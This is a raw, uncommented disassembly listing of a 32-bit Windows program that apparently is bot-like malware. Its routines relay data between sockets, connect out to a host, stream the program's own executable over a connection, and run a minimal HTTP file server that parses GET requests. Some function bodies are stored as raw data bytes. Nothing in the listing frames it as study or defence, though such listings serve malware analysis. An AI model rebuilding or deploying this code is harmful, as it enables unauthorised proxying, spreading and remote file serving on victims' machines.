loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE364
		call	dword_4CB63C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE360
		nop
		call	near ptr 26E0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE354
		call	near ptr 26F0000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE364
		call	dword_4CB674
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 2415FFFFh, 6A004CB6h, 26A5606h, 0CA458966h, 0B6A415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CB650h
		dd 75FF056Ah, 4C15FF08h, 8B004CB6h, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B6B815FFh, 64A3004Ch, 8D004CE3h
		dd 5057F445h, 4CE36068h, 0E35C6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 58685057h, 68004CE3h
		dd 4CE354h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 5CA10000h
		dd 83004CE3h, 45890CC4h, 0E358A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 1FC0E890h, 0FF50022Fh, 4CE35835h, 0B3E89000h, 50022F1Fh
		dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 433BCCh, 79E89057h, 8D022426h
		dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 2261F25h
		dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1F0BE890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271FB2h
		dd 0F075FF57h, 26A8E890h, 0FF570227h, 0E890EC75h, 227269Eh
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E2489h
		dd 0E35C35FFh, 0D6FF004Ch, 0E36035FFh, 0D6FF004Ch, 0E35435FFh
		dd 0D6FF004Ch, 0E35835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CE36C, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 2415FFFFh, 53004CB6h, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CB6A4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0E56CB889h
		dd 458D0043h, 0FF5750ECh, 4CB65015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CB5B8h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 6CA35900h
		dd 59004CE3h, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CB65015h
		dd 75C63B00h, 0B815FF54h, 33004CB5h, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22C1770h, 57056A90h, 0B64C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB6B8h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 3C15FF08h, 83004CB6h, 9674FFF8h
		dd 35FF5656h, 4CB360h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 3BD46850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0B67415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CE37405h, 0FF38E900h, 0FF57FFFFh, 4CB6BC15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 0B360A166h, 6583004Ch, 665000B8h, 2B445C7h, 2415FF00h
		dd 66004CB6h, 8DB64589h, 106AB445h, 83E85750h, 90716A54h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 83E8570Ah, 90716A73h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h
		dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 9C68156Ah, 5000433Eh, 3BE9D3FFh, 56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 9468FFFFh, 5000433Eh, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 433E8Ch, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 433E7468h, 82E900h, 858D0000h, 0FFFFFF50h, 433E6C68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 433E5468h
		dd 8D61EB00h, 0FFFF5085h, 3E4C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 3E3C680Dh, 40EB0043h, 0FF50858Dh
		dd 3468FFFFh, 5000433Eh, 0D40BE8h, 0C0855900h, 560A7559h
		dd 2068106Ah, 0EB00433Eh, 50858D1Fh, 68FFFFFFh,	433E1Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	433DFCh
		dd 2F1E957h, 0F4BF0000h, 8D00433Dh, 0FFFF5085h,	0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 433DF068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	433DDC68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433DD8h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433DC4h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 433DBCh, 0D352E850h, 85590000h, 347559C0h
		dd 90BE0A6Ah, 5900433Dh, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 8868FFFFh
		dd 5000433Dh, 0D307E8h,	0C0855900h, 6A2A7559h, 3D70BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 433D68h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 433D4068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 433D3868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 433D2Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 433D0C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 433D0468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 433CD868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 433CBCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 3CA46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 3C8468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CE130h, 562EEB59h, 6068206Ah, 0EB00433Ch
		dd 50858D1Fh, 68FFFFFFh, 42D050h, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433C44h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE378, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE378
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CE378
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE378
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2670535h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE378
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB624
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E56C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB650
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CB64C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6C0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB60C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB510
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB6BC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42D0F0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433EDC ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6C0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB6BC


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EB4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6BC
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
